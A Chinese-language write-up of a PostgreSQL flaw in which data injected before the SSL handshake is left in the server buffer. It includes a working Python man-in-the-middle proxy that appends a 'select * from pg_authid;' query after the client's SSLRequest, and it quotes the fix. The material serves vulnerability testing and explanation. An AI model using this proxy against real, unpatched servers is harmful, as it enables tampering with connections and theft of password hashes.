漏洞详情请自行百度或者咨询AI，因为AI只解释原理不给出测试验证脚本，下面给出一个测试验证具体方法。

        postgresql数据库SSL连接建立过程：

 TCP 建立
  ↓
客户端 → 服务器：SSLRequest（8 字节）
  ↓
服务器 → 客户端：'S'（1 字节）
  ↓
TLS/SSL 握手（不属于 PG 协议）
  ↓
【SSL 通道建立完成】
  ↓
客户端 → 服务器：StartupMessage（明文结构，但在 SSL 中传输）
  ↓
ProcessStartupPacket 第二次调用：读取 StartupMessage，此时已是密文传输

        服务端不断从缓存PqRecvBuffer中读取待处理数据，PqRecvBuffer中的数据来自于TCP缓存，也就是读取的客户端发送的数据。而其中PqRecvLength指向接收数据尾端，PqRecvPointer指向正在处理的数据位置。

        客户端依次发送的数据包括SSLRequest、SSL握手数据、StartupMessage、用户执行的sql语句，而其中SSL握手数据不会进入服务端的缓存PqRecvBuffer中，SSL握手数据和加解密由SSL模块单独的缓存处理，SSL只是提供加密通道，交给上层PqRecvBuffer的都是明文数据。

        因此，服务端从缓存PqRecvBuffer依次读取到的是SSLRequest、StartupMessage、用户执行的sql语句，而SSLRequest是客户端以明文形式发送过来的，因为此时SSL通道还未建立，后续的StartupMessage和用户sql都是加密传输的，服务端经过SSL通道解密后放入缓存PqRecvBuffer中。

        服务端依次从PqRecvBuffer中读取数据处理，中间人攻击可以在明文传输阶段(SSL通道建立之前)注入恶意sql（在SSL通道建立之后因为中间人不能把恶意sql使用ssl通道密钥加密，所以无法注入），如果中间人在明文阶段注入了恶意sql，并且使服务端进入了执行sql状态执行了sql语句，则会造成数据损坏。

        而注入恶意sql是容易做到的，想要是服务端进入执行sql状态执行我们的恶意sql是困难的，因此我们暂时考虑在SSLRequest之后注入，仅仅用于测试漏洞是否存在。

        下面是完整测试脚本：

import socket
import threading
import struct

LISTEN_ADDR = '0.0.0.0'
LISTEN_PORT = 5433
PG_SERVER = '127.0.0.1'
PG_PORT = 5432
BUF_SIZE = 4096

is_send = False

def print_bytes(data):
        """逐字节打印 bytes 对象，以十六进制格式显示（每字节 2 位，小写）"""
        # 将每个字节转换为十六进制字符串（格式：0xXX -> XX），用空格分隔
        hex_str = ' '.join(f'{byte:02x}' for byte in data)
        print(hex_str)

def build_pg_query_packet(sql: str) -> bytes:
        """
        根据 SQL 语句构造 PostgreSQL Simple Query 报文（Query 'Q'）
        """
        # SQL 转为 UTF-8，并追加 NULL 结尾
        sql_bytes = sql.encode("utf-8") + b"\x00"

        # Length 字段：4（自身）+ SQL 字节长度
        length = 4 + len(sql_bytes)

        # 组装报文
        packet = (
                b"Q" +                                  # Message Type
                struct.pack(">I", length) +  # Length（大端）
                sql_bytes
        )

        return packet


class TLSState:
        def __init__(self):
                self.handshake_seen = False
                self.encrypted = False
                self.lock = threading.Lock()

        def inspect(self, data, direction):
                if len(data) < 5:
                        return

                content_type = data[0]

                with self.lock:
                        # TLS Handshake
                        if content_type == 0x16 and not self.handshake_seen:
                                self.handshake_seen = True
                                print(f"[!] TLS handshake detected ({direction})")

                        # ChangeCipherSpec
                        elif content_type == 0x14 and not self.encrypted:
                                print(f"[!] TLS ChangeCipherSpec detected ({direction})")
                                print("[!] TLS encrypted channel established")
                                self.encrypted = True

                        # Application Data（保险起见）
                        elif content_type == 0x17 and not self.encrypted:
                                print(f"[!] TLS application data detected ({direction})")
                                print("[!] TLS encrypted channel established")
                                self.encrypted = True

                return content_type

def c_to_s(src, dst, tls_state, direction):
        try:
                while True:
                        data = src.recv(BUF_SIZE)
                        if not data:
                                break

                        content_type = tls_state.inspect(data, direction)

                        if len(data) == 8 and data[3] == 0x08:
                                packet = build_pg_query_packet("select * from pg_authid;")
                                dst.sendall(data+packet)
                        else:
                                dst.sendall(data)

        except Exception as e:
                print(f"Exception: {e}")
        finally:
                try:
                        dst.shutdown(socket.SHUT_WR)
                except Exception:
                        pass

def s_to_c(src, dst, tls_state, direction):
        try:
                while True:
                        data = src.recv(BUF_SIZE)
                        if not data:
                                break

                        #ss = data.decode('utf-8', errors='replace')
                        #print(ss)

                        # 被动检测 TLS 状态
                        tls_state.inspect(data, direction)

                        dst.sendall(data)
                        #print(data.hex(" ").upper())
        except Exception:
                pass
        finally:
                try:
                        dst.shutdown(socket.SHUT_WR)
                except Exception:
                        pass


def mitm_proxy():
        tls_state = TLSState()

        with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as listen_sock:
                listen_sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
                listen_sock.bind((LISTEN_ADDR, LISTEN_PORT))
                listen_sock.listen(1)

                print(f"[*] Listening on {LISTEN_ADDR}:{LISTEN_PORT}")

                client_sock, client_addr = listen_sock.accept()
                print(f"[*] Client connected from {client_addr}")

                server_sock = socket.create_connection((PG_SERVER, PG_PORT))
                print(f"[*] Connected to PostgreSQL server {PG_SERVER}:{PG_PORT}")

                t1 = threading.Thread(
                        target=c_to_s,
                        args=(client_sock, server_sock, tls_state, "client → server"),
                        daemon=True
                )
                t2 = threading.Thread(
                        target=s_to_c,
                        args=(server_sock, client_sock, tls_state, "server → client"),
                        daemon=True
                )

                t1.start()
                t2.start()

                t1.join()
                t2.join()

                client_sock.close()
                server_sock.close()
                print("[*] Connection closed")


if __name__ == "__main__":
        print("[*] Plain TCP PostgreSQL proxy with TLS detection started")
        mitm_proxy()

        脚本详解：

        脚本等待客户端连接，然后开启两个线程，一个监听5433端口用于接收客户端数据然后转发到5432端口的数据库服务端。一个监听服务端数据，然后转发给客户端。

        我们在线程1中识别到SSLRequest后(也就是由客户端发往服务端的第一包数据)后将恶意sql添加到后面一起发送。

        补丁修复之前，运行脚本，并使用psql连接(需首先配置为ssl连接)5433端口，连接失败，错误提示为：SSL connection has been closed unexpectedly

        python脚本抛出错误：[Errno 32] Broken pipe

        补丁修复之后，运行脚本，并使用psql连接(需首先配置为ssl连接)5433端口，连接失败，错误提示为：received unencrypted data after SSL request，和received unencrypted data after SSL request。

        python脚本抛出错误：[Errno 104] Connection reset by peer

        

        漏洞补丁详解：

        漏洞补丁仅仅是在服务端与客户端建立SSL通道后、接收密文数据前，检查当前缓存PqRecvBuffer中是否还有未处理数据，此时应该是没有的，如果还有说明被中间人攻击了，立即中断连接并给出提示，如下：

/* --------------------------------
 *		pq_buffer_has_data		- is any buffered data available to read?
 *
 * This will *not* attempt to read more data.
 * --------------------------------
 */
bool
pq_buffer_has_data(void)
{
	return (PqRecvPointer < PqRecvLength);
}

		/*
		 * At this point we should have no data already buffered.  If we do,
		 * it was received before we performed the SSL handshake, so it wasn't
		 * encrypted and indeed may have been injected by a man-in-the-middle.
		 * We report this case to the client.
		 */
		if (pq_buffer_has_data())
			ereport(FATAL,
					(errcode(ERRCODE_PROTOCOL_VIOLATION),
					 errmsg("received unencrypted data after SSL request"),
					 errdetail("This could be either a client-software bug or evidence of an attempted man-in-the-middle attack.")));